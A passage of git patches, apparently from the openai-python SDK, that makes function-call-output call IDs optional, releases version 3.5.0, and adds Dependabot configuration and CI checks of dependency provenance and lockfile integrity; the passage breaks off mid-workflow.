diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index a481f80c9e..c9d6e0a73b 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -227,9 +227,6 @@ class FunctionCallOutputCallerProgram(BaseModel):
class FunctionCallOutput(BaseModel):
"""The output of a function tool call."""
- call_id: str
- """The unique ID of the function tool call generated by the model."""
-
output: Union[str, BetaResponseFunctionCallOutputItemList]
"""Text, image, or file output of the function tool call."""
@@ -245,6 +242,9 @@ class FunctionCallOutput(BaseModel):
agent: Optional[FunctionCallOutputAgent] = None
"""The agent that produced this item."""
+ call_id: Optional[str] = None
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[FunctionCallOutputCaller] = None
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index eb27040f11..89e48c0dfe 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -226,9 +226,6 @@ class FunctionCallOutputCallerProgram(TypedDict, total=False):
class FunctionCallOutput(TypedDict, total=False):
"""The output of a function tool call."""
- call_id: Required[str]
- """The unique ID of the function tool call generated by the model."""
-
output: Required[Union[str, BetaResponseFunctionCallOutputItemListParam]]
"""Text, image, or file output of the function tool call."""
@@ -244,6 +241,9 @@ class FunctionCallOutput(TypedDict, total=False):
agent: Optional[FunctionCallOutputAgent]
"""The agent that produced this item."""
+ call_id: Optional[str]
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[FunctionCallOutputCaller]
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index 4f81e3505f..b6bb0fe17c 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -227,9 +227,6 @@ class FunctionCallOutputCallerProgram(TypedDict, total=False):
class FunctionCallOutput(TypedDict, total=False):
"""The output of a function tool call."""
- call_id: Required[str]
- """The unique ID of the function tool call generated by the model."""
-
output: Required[Union[str, BetaResponseFunctionCallOutputItemListParam]]
"""Text, image, or file output of the function tool call."""
@@ -245,6 +242,9 @@ class FunctionCallOutput(TypedDict, total=False):
agent: Optional[FunctionCallOutputAgent]
"""The agent that produced this item."""
+ call_id: Optional[str]
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[FunctionCallOutputCaller]
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/responses/response_function_tool_call_output_item.py b/src/openai/types/responses/response_function_tool_call_output_item.py
index 3b19d3ec9b..0c1c78553a 100644
--- a/src/openai/types/responses/response_function_tool_call_output_item.py
+++ b/src/openai/types/responses/response_function_tool_call_output_item.py
@@ -36,9 +36,6 @@ class ResponseFunctionToolCallOutputItem(BaseModel):
id: str
"""The unique ID of the function call tool output."""
- call_id: str
- """The unique ID of the function tool call generated by the model."""
-
output: Union[str, List[OutputOutputContentList]]
"""
The output from the function call generated by your code. Can be a string or an
@@ -55,6 +52,9 @@ class ResponseFunctionToolCallOutputItem(BaseModel):
type: Literal["function_call_output"]
"""The type of the function tool call output. Always `function_call_output`."""
+ call_id: Optional[str] = None
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[Caller] = None
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index e37ea507af..1d1e06b95c 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -165,9 +165,6 @@ class FunctionCallOutputCallerProgram(BaseModel):
class FunctionCallOutput(BaseModel):
"""The output of a function tool call."""
- call_id: str
- """The unique ID of the function tool call generated by the model."""
-
output: Union[str, ResponseFunctionCallOutputItemList]
"""Text, image, or file output of the function tool call."""
@@ -180,6 +177,9 @@ class FunctionCallOutput(BaseModel):
Populated when this item is returned via API.
"""
+ call_id: Optional[str] = None
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[FunctionCallOutputCaller] = None
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index d6192ae496..9a97f86eda 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -164,9 +164,6 @@ class FunctionCallOutputCallerProgram(TypedDict, total=False):
class FunctionCallOutput(TypedDict, total=False):
"""The output of a function tool call."""
- call_id: Required[str]
- """The unique ID of the function tool call generated by the model."""
-
output: Required[Union[str, ResponseFunctionCallOutputItemListParam]]
"""Text, image, or file output of the function tool call."""
@@ -179,6 +176,9 @@ class FunctionCallOutput(TypedDict, total=False):
Populated when this item is returned via API.
"""
+ call_id: Optional[str]
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[FunctionCallOutputCaller]
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index c303eb9f6a..90704ed0ce 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -165,9 +165,6 @@ class FunctionCallOutputCallerProgram(TypedDict, total=False):
class FunctionCallOutput(TypedDict, total=False):
"""The output of a function tool call."""
- call_id: Required[str]
- """The unique ID of the function tool call generated by the model."""
-
output: Required[Union[str, ResponseFunctionCallOutputItemListParam]]
"""Text, image, or file output of the function tool call."""
@@ -180,6 +177,9 @@ class FunctionCallOutput(TypedDict, total=False):
Populated when this item is returned via API.
"""
+ call_id: Optional[str]
+ """The unique ID of the function tool call generated by the model."""
+
caller: Optional[FunctionCallOutputCaller]
"""The execution context that produced this tool call."""
From 79c588bb3a40fb698c65e35c94ad96c0b44c30d4 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 00:56:50 +0000
Subject: [PATCH 075/341] release: 3.5.0 (#3739)
Automated Release PR
---
##
[3.5.0](https://github.com/openai/openai-python/compare/v3.4.0...v3.5.0)
(2026-08-27)
### Features
* **api:** make function call output call IDs optional
([#3738](https://github.com/openai/openai-python/issues/3738))
([c74501d](https://github.com/openai/openai-python/commit/c74501d7dc6946633fead7883ad02d8a188cf605))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 7 +++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 11 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 2437b41932..bf0d036177 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.4.0"
+ ".": "3.5.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index a168ca5756..c5ff44a138 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,12 @@
# Changelog
+## [3.5.0](https://github.com/openai/openai-python/compare/v3.4.0...v3.5.0) (2026-08-27)
+
+
+### Features
+
+* **api:** make function call output call IDs optional ([#3738](https://github.com/openai/openai-python/issues/3738)) ([c74501d](https://github.com/openai/openai-python/commit/c74501d7dc6946633fead7883ad02d8a188cf605))
+
## [3.4.0](https://github.com/openai/openai-python/compare/v3.3.1...v3.4.0) (2026-08-25)
diff --git a/pyproject.toml b/pyproject.toml
index 536e93b045..bf804359d6 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.4.0"
+version = "3.5.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index a5b76a15db..5f5fbb0639 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.4.0" # x-release-please-version
+__version__ = "3.5.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index faf054235b..c508f413ab 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1296,7 +1296,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.4.0" # x-release-please-version
+version = "3.5.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From f3f96317e3be4a2144394b6ce5088e0365839417 Mon Sep 17 00:00:00 2001
From: Hayden
Date: Thu, 27 Aug 2026 08:59:46 -0700
Subject: [PATCH 076/341] ci: add security-aware Dependabot updates for Python
and GitHub Actions (#3641)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
- Add the missing repository-level Dependabot v2 configuration for the
root PEP 621 Python project and GitHub Actions workflows.
- Schedule low-noise Monday UTC updates with separate Python/Actions
windows, an eight-day cooldown for routine version updates, and
three/five open-PR limits; security updates remain independently
eligible without that cooldown.
- Group Python minor/patch maintenance separately from security
remediations, and update coupled CodeQL init/analyze actions together
while leaving unrelated SHA-pinned actions independently reviewable.
- Avoid a duplicate `uv` updater: the repository installs Rye-generated
`requirements.lock` and `requirements-dev.lock`, and Dependabot cannot
regenerate those files. The config explicitly instructs maintainers to
run `rye lock --all-features` and `uv lock` before merging any Python
dependency update.
## Verification
- Parsed the YAML and validated it against the current Dependabot v2
JSON Schema.
- Validated exact supported ecosystems, root manifest discovery,
staggered weekly schedules, cooldowns, PR limits, maintenance/security
group semantics, CodeQL grouping, and absence of
reviewers/assignees/target-branch overrides.
- Confirmed all eight runtime dependencies satisfy `pyproject.toml`
across `uv.lock`, `requirements.lock`, and `requirements-dev.lock`;
verified the existing uv lockfile is structurally valid offline.
- Verified all 46 GitHub Actions references remain pinned to full commit
SHAs and both PyPI release workflows retain isolated build/upload jobs
and publishing-only OIDC.
- `python scripts/check-python-version-policy.py`
- `git diff origin/main...HEAD --check`
## Additional context & links
Only `.github/dependabot.yml` is added. Rye-only development
dependencies and Rye lock regeneration remain manual because Dependabot
has no supported Rye ecosystem.
---
.github/dependabot.yml | 27 +
.github/workflows/ci.yml | 58 +-
.github/workflows/detect-breaking-changes.yml | 311 +-
scripts/check-dependency-security.py | 2428 +++++
tests/test_agents_lock_revalidation.py | 521 +
tests/test_uv_workflows.py | 8537 +++++++++++++++++
6 files changed, 11879 insertions(+), 3 deletions(-)
create mode 100644 scripts/check-dependency-security.py
create mode 100644 tests/test_agents_lock_revalidation.py
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index dc12d1ee9b..b83f1f536f 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -8,14 +8,41 @@ updates:
default-days: 8
- package-ecosystem: uv
directory: /
+ versioning-strategy: increase-if-necessary
schedule:
interval: weekly
+ day: monday
+ time: "09:00"
+ timezone: Etc/UTC
# Version updates wait; Dependabot security updates are exempt.
cooldown:
default-days: 8
+ open-pull-requests-limit: 3
+ groups:
+ python-maintenance:
+ applies-to: version-updates
+ patterns:
+ - "*"
+ update-types:
+ - minor
+ - patch
+ python-security:
+ applies-to: security-updates
+ patterns:
+ - "*"
+
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
+ day: monday
+ time: "09:30"
+ timezone: Etc/UTC
cooldown:
default-days: 8
+ open-pull-requests-limit: 5
+ groups:
+ # CodeQL init/analyze share versioned state and must change together.
+ codeql:
+ patterns:
+ - "github/codeql-action"
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index b9f3f28690..a20614300b 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -18,11 +18,58 @@ on:
permissions:
contents: read
+env:
+ UV_NO_BUILD: '1'
+ UV_NO_BINARY_PACKAGE: 'openai'
+ UNTRUSTED_BUILD_FORK: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.repo.id != github.event.pull_request.base.repo.id && '1' || '0' }}
+ TRUSTED_BUILD_BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || '' }}
+
jobs:
+ dependency-locks:
+ timeout-minutes: 10
+ name: dependency lock freshness
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ persist-credentials: false
+
+ - name: Verify dependency source provenance before installing tools
+ run: |
+ python -I -c 'import ast, os, pathlib, re, subprocess, tomllib; config = tomllib.loads(pathlib.Path("pyproject.toml").read_text()); fork = os.environ.get("UNTRUSTED_BUILD_FORK", "0") == "1"; base = os.environ.get("TRUSTED_BUILD_BASE_SHA", ""); assert not fork or re.fullmatch(r"[0-9a-f]{40}", base), "Untrusted fork build base commit"; assert not fork or subprocess.check_output(["git", "remote", "get-url", "origin"], text=True).strip() in {"https://github.com/openai/openai-python", "https://github.com/openai/openai-python.git"}, "Untrusted fork build base origin"; subprocess.run(["git", "fetch", "--no-tags", "--depth=1", "origin", base], check=True) if fork else None; trusted = tomllib.loads(subprocess.check_output(["git", "show", base + ":pyproject.toml"], text=True)) if fork else config; hatch = lambda document: document.get("tool", {}).get("hatch", {}); executable = lambda document: (hatch(document).get("build", {}).get("hooks", {}), tuple(sorted((name, target.get("hooks", {})) for name, target in hatch(document).get("build", {}).get("targets", {}).items() if target.get("hooks", {}))), hatch(document).get("metadata", {}).get("hooks", {})); assert not fork or executable(config) == executable(trusted), "Untrusted fork Hatch executable hook configuration"; sections = executable(config); paths = [definition.get("path", "hatch_build.py") for mapping in [sections[0], *[item[1] for item in sections[1]], sections[2]] for plugin, definition in mapping.items() if plugin == "custom" or "path" in definition] if fork else []; assert not fork or len(paths) <= 32 and all(isinstance(location, str) and bool(location) and len(location) <= 512 and not (candidate := pathlib.Path(location)).is_absolute() and bool(candidate.parts) and ".." not in candidate.parts and candidate.is_file() and all(not pathlib.Path(*candidate.parts[:index]).is_symlink() for index in range(1, len(candidate.parts) + 1)) and candidate.read_bytes() == subprocess.check_output(["git", "show", base + ":" + candidate.as_posix()]) for location in paths), "Untrusted fork Hatch executable hook source"; project = config["project"]; lock = tomllib.loads(pathlib.Path("uv.lock").read_text()); trusted_lock = tomllib.loads(subprocess.check_output(["git", "show", base + ":uv.lock"], text=True)) if fork else lock; roots = [package for package in lock["package"] if package.get("name") == project["name"] and package.get("version") == project["version"] and package.get("source") == {"editable": "."}]; build = config.get("build-system", {}); uv = config.get("tool", {}).get("uv", {}); requires = build.get("requires", []); constraints = uv.get("build-constraint-dependencies", []); reviewed = config.get("dependency-groups", {}).get("build", []); canonical = lambda value: re.sub(r"[-_.]+", "-", value).lower(); package_identity = lambda package: (canonical(package["name"]), package["version"], package.get("source", {}).get("registry", ""), tuple(sorted((artifact["url"], artifact["hash"]) for artifact in (([package["sdist"]] if "sdist" in package else []) + package.get("wheels", []))))); normalize = lambda value: re.sub(r"\s+", "", value); identity = lambda value: (canonical((item := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", value)).group(1)), item.group(2), ast.dump(ast.parse(item.group(3), mode="eval")) if item.group(3) is not None else ""); assert len(roots) == 1 and canonical(project["name"]) == "openai" and sum(canonical(package.get("name", "")) == "openai" for package in lock["package"]) == 1 and all(package is roots[0] or package.get("source") == {"registry": "https://pypi.org/simple"} and isinstance(package.get("wheels"), list) and bool(package.get("wheels")) and (artifacts := ([package["sdist"]] if "sdist" in package else []) + package.get("wheels", [])) and all(isinstance(artifact, dict) and re.fullmatch(r"https://files\.pythonhosted\.org/packages/[^\s?#]+", artifact.get("url", "")) and re.fullmatch(r"sha256:[0-9a-f]{64}", artifact.get("hash", "")) for artifact in artifacts) for package in lock["package"]) and (not fork or sorted(package_identity(package) for package in lock["package"] if package is not roots[0]) == sorted(package_identity(package) for package in trusted_lock["package"] if package.get("source") != {"editable": "."})) and build.get("build-backend") == "hatchling.build" and "backend-path" not in build and isinstance(requires, list) and bool(requires) and isinstance(constraints, list) and bool(constraints) and isinstance(reviewed, list) and bool(reviewed) and not any(uv.get(key) for key in ("sources", "index", "indexes", "index-url", "extra-index-url", "default-index", "find-links", "index_url", "extra_index_url", "default_index", "find_links", "no-binary", "no-binary-package", "no_binary", "no_binary_package")) and not any(pathlib.Path(path).exists() for path in ("uv.toml", ".uv.toml")) and all(isinstance(requirement, str) and (match := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", requirement)) is not None and (match.group(3) is None or isinstance(marker := ast.parse(match.group(3), mode="eval").body, ast.Compare) and isinstance(marker.left, ast.Name) and len(marker.ops) == 1 and type(marker.ops[0]) in {ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.In, ast.NotIn} and len(marker.comparators) == 1 and isinstance(marker.comparators[0], ast.Constant) and isinstance(marker.comparators[0].value, str)) and any(canonical(package.get("name", "")) == canonical(match.group(1)) and package.get("version") == match.group(2) and package.get("source") == {"registry": "https://pypi.org/simple"} for package in lock["package"]) for requirement in requires + constraints + reviewed) and {normalize(requirement) for requirement in constraints} == {normalize(requirement) for requirement in reviewed} and {normalize(requirement) for requirement in requires}.issubset({normalize(requirement) for requirement in constraints}) and any(canonical(requirement.split("==", 1)[0].strip()) == "hatchling" for requirement in requires) and build.get("build-backend") == trusted.get("build-system", {}).get("build-backend") and {identity(requirement) for requirement in requires} == {identity(requirement) for requirement in trusted.get("build-system", {}).get("requires", [])} and {identity(requirement) for requirement in constraints} == {identity(requirement) for requirement in trusted.get("tool", {}).get("uv", {}).get("build-constraint-dependencies", [])} and {identity(requirement) for requirement in reviewed} == {identity(requirement) for requirement in trusted.get("dependency-groups", {}).get("build", [])}, "Use only the public PyPI registry, reviewed artifacts, the exact editable root project, and locked reviewed build requirements in uv.lock"'
+
+ - name: Require published minimums for direct security updates
+ if: >-
+ github.event_name == 'pull_request'
+ && github.event.pull_request.user.login == 'dependabot[bot]'
+ && contains(github.event.pull_request.head.ref, 'python-security')
+ env:
+ BASE_SHA: ${{ github.event.pull_request.base.sha }}
+ run: |
+ set -euo pipefail
+ [[ "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]]
+ origin="$(git remote get-url origin)"
+ [[ "$origin" == "https://github.com/openai/openai-python" || "$origin" == "https://github.com/openai/openai-python.git" ]]
+ git fetch --no-tags --depth=1 origin "$BASE_SHA"
+ git show "$BASE_SHA:scripts/check-dependency-security.py" | python -I -
+
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
+ with:
+ version: '0.12.5'
+ enable-cache: true
+
+ - name: Verify dependency groups and committed lock
+ run: |
+ uv run --no-project --python '>=3.11' python -c 'import pathlib, tomllib; project = tomllib.loads(pathlib.Path("pyproject.toml").read_text()); assert project["dependency-groups"]["dev"] and "dev" in project["tool"]["uv"]["default-groups"], "Keep the uv development dependency group enabled"'
+ uv run --no-project --python '>=3.11' python -c 'import pathlib, tomllib; project = tomllib.loads(pathlib.Path("pyproject.toml").read_text()); text = pathlib.Path("uv.lock").read_text(); lock = tomllib.loads(text); version = project["project"]["version"]; assert next(package["version"] for package in lock["package"] if package["name"] == "openai") == version and "version = " + chr(34) + version + chr(34) + " # x-release-please-version" in text, "Preserve the uv.lock release-please marker and project version"'
+ uv lock --check
+
lint:
timeout-minutes: 10
name: lint
runs-on: ubuntu-latest
+ needs: dependency-locks
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -44,6 +91,7 @@ jobs:
run: ./scripts/lint
build:
+ needs: dependency-locks
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
timeout-minutes: 10
name: build
@@ -65,7 +113,9 @@ jobs:
run: uv sync --locked --all-extras
- name: Run build
- run: ./scripts/build
+ run: |
+ external_packages="$(python -c 'import importlib, re, sys; parser = importlib.import_module("tomllib" if sys.version_info >= (3, 11) else "tomli"); packages = parser.loads(open("uv.lock").read())["package"]; roots = [package for package in packages if package.get("source") == {"editable": "."}]; external = [package for package in packages if package not in roots]; assert len(roots) == 1 and roots[0].get("name") == "openai" and external and all(package.get("source") == {"registry": "https://pypi.org/simple"} and isinstance(package.get("name"), str) and re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_.-]*", package["name"]) for package in external), "Refuse malformed external build package restrictions"; denied = sorted({re.sub(r"[-_.]+", "-", package["name"]).lower() for package in external}); assert denied and "openai" not in denied, "Refuse incomplete external build package restrictions"; print(" ".join(denied))')"
+ env -u UV_NO_BUILD UV_NO_BUILD_PACKAGE="$external_packages" ./scripts/build
- name: Validate Python version metadata
run: uv run --locked --all-extras python scripts/utils/validate-python-version-wheel.py
@@ -96,6 +146,7 @@ jobs:
timeout-minutes: 15
name: test (Python ${{ matrix.python-version }})
runs-on: ubuntu-latest
+ needs: dependency-locks
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
strategy:
fail-fast: false
@@ -132,6 +183,7 @@ jobs:
timeout-minutes: 20
name: test (HTTPX2)
runs-on: ubuntu-latest
+ needs: dependency-locks
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -167,6 +219,7 @@ jobs:
name: examples
environment: ci
runs-on: ubuntu-latest
+ needs: dependency-locks
if: github.repository == 'openai/openai-python' && github.event_name == 'push' && github.ref == 'refs/heads/main'
steps:
@@ -209,8 +262,11 @@ jobs:
timeout-minutes: 20
name: compatibility (Python ${{ matrix.python-version }})
runs-on: ubuntu-latest
+ needs: dependency-locks
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
continue-on-error: ${{ matrix.experimental }}
+ env:
+ UV_NO_BUILD: ${{ matrix.experimental && (github.event_name == 'schedule' || github.event_name == 'workflow_dispatch') && '0' || '1' }}
strategy:
fail-fast: false
matrix:
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index 5ca06d149d..0a0f7be6d0 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -11,6 +11,12 @@ on:
permissions:
contents: read
+env:
+ UV_NO_BUILD: '1'
+ UV_NO_BINARY_PACKAGE: 'openai'
+ UNTRUSTED_BUILD_FORK: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.repo.id != github.event.pull_request.base.repo.id && '1' || '0' }}
+ TRUSTED_BUILD_BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || '' }}
+
jobs:
detect_breaking_changes:
runs-on: 'ubuntu-latest'
@@ -24,6 +30,10 @@ jobs:
persist-credentials: false
fetch-depth: 1
+ - name: Verify dependency source provenance before installing tools
+ run: |
+ python -I -c 'import ast, os, pathlib, re, subprocess, tomllib; config = tomllib.loads(pathlib.Path("pyproject.toml").read_text()); fork = os.environ.get("UNTRUSTED_BUILD_FORK", "0") == "1"; base = os.environ.get("TRUSTED_BUILD_BASE_SHA", ""); assert not fork or re.fullmatch(r"[0-9a-f]{40}", base), "Untrusted fork build base commit"; assert not fork or subprocess.check_output(["git", "remote", "get-url", "origin"], text=True).strip() in {"https://github.com/openai/openai-python", "https://github.com/openai/openai-python.git"}, "Untrusted fork build base origin"; subprocess.run(["git", "fetch", "--no-tags", "--depth=1", "origin", base], check=True) if fork else None; trusted = tomllib.loads(subprocess.check_output(["git", "show", base + ":pyproject.toml"], text=True)) if fork else config; hatch = lambda document: document.get("tool", {}).get("hatch", {}); executable = lambda document: (hatch(document).get("build", {}).get("hooks", {}), tuple(sorted((name, target.get("hooks", {})) for name, target in hatch(document).get("build", {}).get("targets", {}).items() if target.get("hooks", {}))), hatch(document).get("metadata", {}).get("hooks", {})); assert not fork or executable(config) == executable(trusted), "Untrusted fork Hatch executable hook configuration"; sections = executable(config); paths = [definition.get("path", "hatch_build.py") for mapping in [sections[0], *[item[1] for item in sections[1]], sections[2]] for plugin, definition in mapping.items() if plugin == "custom" or "path" in definition] if fork else []; assert not fork or len(paths) <= 32 and all(isinstance(location, str) and bool(location) and len(location) <= 512 and not (candidate := pathlib.Path(location)).is_absolute() and bool(candidate.parts) and ".." not in candidate.parts and candidate.is_file() and all(not pathlib.Path(*candidate.parts[:index]).is_symlink() for index in range(1, len(candidate.parts) + 1)) and candidate.read_bytes() == subprocess.check_output(["git", "show", base + ":" + candidate.as_posix()]) for location in paths), "Untrusted fork Hatch executable hook source"; project = config["project"]; lock = tomllib.loads(pathlib.Path("uv.lock").read_text()); trusted_lock = tomllib.loads(subprocess.check_output(["git", "show", base + ":uv.lock"], text=True)) if fork else lock; roots = [package for package in lock["package"] if package.get("name") == project["name"] and package.get("version") == project["version"] and package.get("source") == {"editable": "."}]; build = config.get("build-system", {}); uv = config.get("tool", {}).get("uv", {}); requires = build.get("requires", []); constraints = uv.get("build-constraint-dependencies", []); reviewed = config.get("dependency-groups", {}).get("build", []); canonical = lambda value: re.sub(r"[-_.]+", "-", value).lower(); package_identity = lambda package: (canonical(package["name"]), package["version"], package.get("source", {}).get("registry", ""), tuple(sorted((artifact["url"], artifact["hash"]) for artifact in (([package["sdist"]] if "sdist" in package else []) + package.get("wheels", []))))); normalize = lambda value: re.sub(r"\s+", "", value); identity = lambda value: (canonical((item := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", value)).group(1)), item.group(2), ast.dump(ast.parse(item.group(3), mode="eval")) if item.group(3) is not None else ""); assert len(roots) == 1 and canonical(project["name"]) == "openai" and sum(canonical(package.get("name", "")) == "openai" for package in lock["package"]) == 1 and all(package is roots[0] or package.get("source") == {"registry": "https://pypi.org/simple"} and isinstance(package.get("wheels"), list) and bool(package.get("wheels")) and (artifacts := ([package["sdist"]] if "sdist" in package else []) + package.get("wheels", [])) and all(isinstance(artifact, dict) and re.fullmatch(r"https://files\.pythonhosted\.org/packages/[^\s?#]+", artifact.get("url", "")) and re.fullmatch(r"sha256:[0-9a-f]{64}", artifact.get("hash", "")) for artifact in artifacts) for package in lock["package"]) and (not fork or sorted(package_identity(package) for package in lock["package"] if package is not roots[0]) == sorted(package_identity(package) for package in trusted_lock["package"] if package.get("source") != {"editable": "."})) and build.get("build-backend") == "hatchling.build" and "backend-path" not in build and isinstance(requires, list) and bool(requires) and isinstance(constraints, list) and bool(constraints) and isinstance(reviewed, list) and bool(reviewed) and not any(uv.get(key) for key in ("sources", "index", "indexes", "index-url", "extra-index-url", "default-index", "find-links", "index_url", "extra_index_url", "default_index", "find_links", "no-binary", "no-binary-package", "no_binary", "no_binary_package")) and not any(pathlib.Path(path).exists() for path in ("uv.toml", ".uv.toml")) and all(isinstance(requirement, str) and (match := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", requirement)) is not None and (match.group(3) is None or isinstance(marker := ast.parse(match.group(3), mode="eval").body, ast.Compare) and isinstance(marker.left, ast.Name) and len(marker.ops) == 1 and type(marker.ops[0]) in {ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.In, ast.NotIn} and len(marker.comparators) == 1 and isinstance(marker.comparators[0], ast.Constant) and isinstance(marker.comparators[0].value, str)) and any(canonical(package.get("name", "")) == canonical(match.group(1)) and package.get("version") == match.group(2) and package.get("source") == {"registry": "https://pypi.org/simple"} for package in lock["package"]) for requirement in requires + constraints + reviewed) and {normalize(requirement) for requirement in constraints} == {normalize(requirement) for requirement in reviewed} and {normalize(requirement) for requirement in requires}.issubset({normalize(requirement) for requirement in constraints}) and any(canonical(requirement.split("==", 1)[0].strip()) == "hatchling" for requirement in requires) and build.get("build-backend") == trusted.get("build-system", {}).get("build-backend") and {identity(requirement) for requirement in requires} == {identity(requirement) for requirement in trusted.get("build-system", {}).get("requires", [])} and {identity(requirement) for requirement in constraints} == {identity(requirement) for requirement in trusted.get("tool", {}).get("uv", {}).get("build-constraint-dependencies", [])} and {identity(requirement) for requirement in reviewed} == {identity(requirement) for requirement in trusted.get("dependency-groups", {}).get("build", [])}, "Use only the public PyPI registry, reviewed artifacts, the exact editable root project, and locked reviewed build requirements in uv.lock"'
+
- name: Fetch comparison base
run: git fetch --no-tags --depth=1 origin "$BASE_SHA"
@@ -57,6 +67,11 @@ jobs:
persist-credentials: false
path: openai-python
+ - name: Verify dependency source provenance before installing tools
+ working-directory: openai-python
+ run: |
